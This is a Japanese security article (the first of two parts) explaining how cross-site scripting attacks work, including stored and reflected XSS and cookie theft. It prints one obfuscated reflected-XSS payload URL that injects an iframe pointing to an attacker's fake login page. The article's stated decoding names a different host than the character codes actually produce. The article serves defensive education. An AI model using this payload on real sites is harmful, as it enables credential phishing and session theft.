情報詐取の常とう手段
クロスサイトスクリプティング攻撃とは 前編――その目的と仕組み
XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。
Webはクロスサイトスクリプティング（XSS）の脆弱性をなくすことができずにいる。XSSは、攻撃者が悪質なクライアントサイドコードをWebページに仕込んでセキュリティを破るもので、1990年代ごろから浮上し、Google、Yahoo!、Facebookといった大手Webサイトのほとんどは、いずれもXSS問題に見舞われてきた。XSSの脆弱性を突いた攻撃を仕掛ければ、情報を盗んだり、ユーザーのセッションを乗っ取ったり、悪質コードを実行したり、あるいはフィッシング詐欺の手口に利用することも可能だ。
Web 2.0が最先端のXSS攻撃を生み出したとの見方もあるが、実際には、こうした攻撃は古い手口を焼き直しただけのものがほとんどだ。ただし確かなのは、Ajax技術によって様相が変わり、攻撃者が一層見えにくい形でXSSの脆弱性を悪用できるようになったことだ。Ajaxアプリケーションは一般的に極めて複雑で、Webブラウザとサーバ間のやりとりが大幅に増え、別のサイトのコンテンツをページに取り込むことさえある。この状況では、ユーザーとサービスの間でやりとりされる内容にさまざまな可能性が生じて検証が難しくなり、以前からあるXSSの脆弱性などが、知らないうちにアプリケーションに紛れ込むすきができる。
サイトがXSS攻撃の被害に遭い続けているのは、大部分が双方向性を求められ、ユーザーのデータの送受信を許しているからだ。これによって攻撃者もまたアプリケーションのプロセスに直接介入できるようになり、正規のアプリケーションリクエストやコマンドに見せかけたデータを、通常のリクエストの手段であるスクリプト、URL、フォームデータなどを通じて受け渡すことが可能になる。アプリケーション層におけるこうした通信は、出来の悪いアプリケーションを利用すれば、従来のような周辺的なセキュリティ対策をかわすことができてしまう。
2008年の「WhiteHat Security Statistics Report」によると、全Webサイトの90％に少なくとも1件の脆弱性があり、本稿では、XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。
あらためて、XSS攻撃とは？
XSS攻撃は、SQLインジェクションのような一般的なアプリケーションレイヤー攻撃とは異なり、アプリケーションやサーバではなくアプリケーションのユーザーを攻撃する。攻撃は、Webアプリケーションの出力データにコード（大抵はJavaScriptのようなクライアントサイドスクリプト）を仕込むことで成立する。ほとんどのサイトには、XSSに対して脆弱な検索枠、フィードバックフォーム、cookie、フォーラムなど、コードを仕込める入り口がいくらでもある。
XSS攻撃の狙いは、大抵がcookieデータの収集だ。cookieはセッションID、ユーザーのお気に入り、ログイン情報などを保存する目的で不適切に使われることがよくあるからだ。クライアントサイドスクリプトはサーバサイドの情報に直接影響を及ぼすことはできないが、サイトのセキュリティをかわすことはできる。よく使われる手口の「Document Object Modelマニピュレーション」では、フォームの値を書き換えたりフォームの動作を入れ替えて、提出されたデータを攻撃者のサイトに送信してしまう。
では、XSS攻撃がどれだけ簡単なのかを見てみよう。「XYZフットボールクラブ」の掲示板では、メンバーがチームとチームの成績についてコメントを投稿できる。コメントはオンラインデータベースに保存されてほかのメンバーが見られる仕組みになっており、認証も暗号化もされていない。悪意を持ったメンバーは単純に、<script>タグに囲まれたスクリプトをコメントに仕込んで投稿するだけで済む。<script>タグに囲まれたテキストは普通は表示されないので、ほかのメンバーはスクリプトが実行されたことさえ気付かないか、あるいはコメントがスクリプトを実行するのをただ見守ることしかできないかもしれない。そして、スクリプトは堂々とメンバーのcookie情報をリクエストして、それを攻撃者に引き渡すことができる。この種のXSS攻撃は不正スクリプトが何度も実行されるので、持続型XSSと呼ばれている。
XSS攻撃は、たとえサイトをSSL接続で閲覧した場合でも成立する。スクリプトは「保護された」サイトのコンテキストで実行され、ブラウザにはWebアプリケーションから出力される正規コンテンツと悪質コンテンツとの区別がつかないためだ。さらに、サイトにコメントページがなければ攻撃者がコードを仕込めないとは限らない。被害者をだましてフィッシング詐欺メールのURLをクリックさせ、表示されたページにコードを仕込めば、攻撃者はそのページのコンテンツにフルアクセスできてしまう。これが非持続型XSSだ。この種の攻撃ではURLエンコーディングを使ってリンクを偽装し、ユーザーがクリックする確率を高めていることも多い。
次の例では、セキュアなHTTPSのURLを使った信頼できるサイトへのリンクが表示されている。
https://www.example.com/script/LoginServlet?function=”><script>document.write(String.fromCharCode(60,105,102,114,97,109,
101,32,115,114,99,61,104,
116,116,112,58,47,47,
119,119,119,46,97,98,97,
100,98,97,110,107,
46,99,111,109,47,108,
111,103,105,110,32,112,104,112,62))</script>
ユーザーの目には「www.example.com」というSSL接続のリンクが見える。リンクというのは末尾に一見無意味な長い文字の羅列が付いていることも多いが、この場合は十分正規のリンクに見える。そこでユーザーはこのリンクをクリックする。しかし、<script>タグに囲まれたコードはブラウザに読み込まれると、以下のように翻訳される。
<iframe src=http://www.example2.com/login.php>
攻撃コードは本物の「example」サイトのコンテキストで、IFRAME（Webサイト上でHTML文書内部に別のHTML文書を組み込んだもの）を実行する。攻撃者の「login.php」ページはexample.comのログインページそっくりに作り込まれ、だまされたユーザーはログイン用のユーザー名とパスワードを入力して、IFRAMEのソースである不正銀行のサーバに送ってしまう。この間、ユーザーが本物のexample.comのWebサイトを離れることはない。これは、銀行のWebサイト上で2009年に実際にあった攻撃だ。
XSSの脆弱性の根本的問題と原因は基本的に、動的なWebページの多くがユーザーの入力した内容を検証も暗号化もせずに表示してしまうことにある。ユーザーが入力した内容をチェックせず、処理方法も公開される方法もコントロールしなければ、XSS攻撃の手に落ちる可能性がある。
次回はこのようなXSS攻撃を防ぐ方法を紹介する。
本稿筆者のマイケル・コッブ氏は、データセキュリティ・分析関連のトレーニングやサポートを提供するITコンサルティング会社Cobweb Applicationsの創業者、マネージングディレクター。CISSP-ISSAP（公認情報システムセキュリティプロフェッショナル―情報システムセキュリティアーキテクチャプロフェッショナル）の資格を持つ。共著書に「IIS Security」があり、大手IT出版物に多数の技術記事を寄稿している。
Copyright © ITmedia, Inc. All Rights Reserved.
この記事の著者
関連記事
新着ホワイトペーパー PR
-
技術文書・技術解説
[Jamf Japan 合同会社] MDMだけでモバイルセキュリティは十分？ 不足する対策を16項目でチェック -
事例
[Wrike Japan 株式会社] 世界的な家電メーカーが実践する「クリエイティブプロセス効率化」の方法とは？ -
事例
[Wrike Japan 株式会社] 世界的テクノロジー企業に学ぶ、プロセス標準化とプロジェクト納品自動化の秘訣 -
事例
[Wrike Japan 株式会社] ソニー・ピクチャーズ テレビジョンに学ぶ、次世代サービスデリバリーのヒント -
事例
[Wrike Japan 株式会社] ソミック石川に学ぶ、ICT浸透後に直面した「工数管理」の課題と解決策
こんなメディアも見られています
TechTargetジャパンに関連する情報をお探しであれば、こちらのメディアもお役に立てるかもしれません。
ベンダーコンテンツ PR
From Informa TechTarget
SpecialPR
アクセスランキング
-
1
「Microsoft 365」が乗っ取られる 跡形もなくMFAを破る手口
-
2
「企業内サーバ環境の利用実態」に関するアンケート
-
3
AI全部入り「Microsoft 365 E7」に企業が二の足を踏む訳 移行意向はわずか4％
-
4
「VMware離れ」は本当か 3000社がVCF 9にかじを切った現実的な理由
-
5
エンジニアが選考を辞退する本当の理由 7割が隠す“面接の違和感”とは
-
6
脱VMwareの前提が崩れる BroadcomのVDDK公開停止で確認すべき点
-
7
【基本情報技術者試験】「デュプレックスシステム」と「デュアルシステム」の違いは？
-
8
「AI活用を前提とした業務PCへの移行」に関するアンケート
-
9
「データストレージの活用方法」に関するアンケート
-
10
AWS障害でも補償ゼロの衝撃 サイバー保険で情シスが見落とす「細則の壁」
ホワイトペーパーランキング PR
-
1
生成AIのハルシネーションを防止 回答精度を高めるセマンティックレイヤーとは
-
2
5回聞くだけじゃ足りない？ トヨタ式「なぜなぜ分析」の正しい実践方法
-
3
AIエージェントで多様な日常業務を効率化するための入門ガイド
-
4
インシデント対応工数を約3割削減、東京ガスの事例に学ぶ監視体制刷新のコツ
-
5
「脱Excel」か「Excel快適化」か？ 現場にやさしい業務改善の進め方
-
6
マンガで解説：「ゼロトラスト」「SASE」の必要性とメリット
-
7
5分で分かる「セキュア大容量ファイル転送サービス」の機能とメリット
-
8
情報セキュリティ対策早分かりガイド：25の自社診断で弱点と解決策を理解
-
9
国税庁の次世代基幹システム「KSK2」稼働開始に向けて、対応すべき変更点とは？
-
10
AIが「わざわざ使うツール」になっていない？ 業務で自然に使う導線にする秘訣
TechTargetジャパン SNS
@techtarget_itmをフォロー
インフォメーション
注目情報をチェック
TechTargetジャパンをフォロー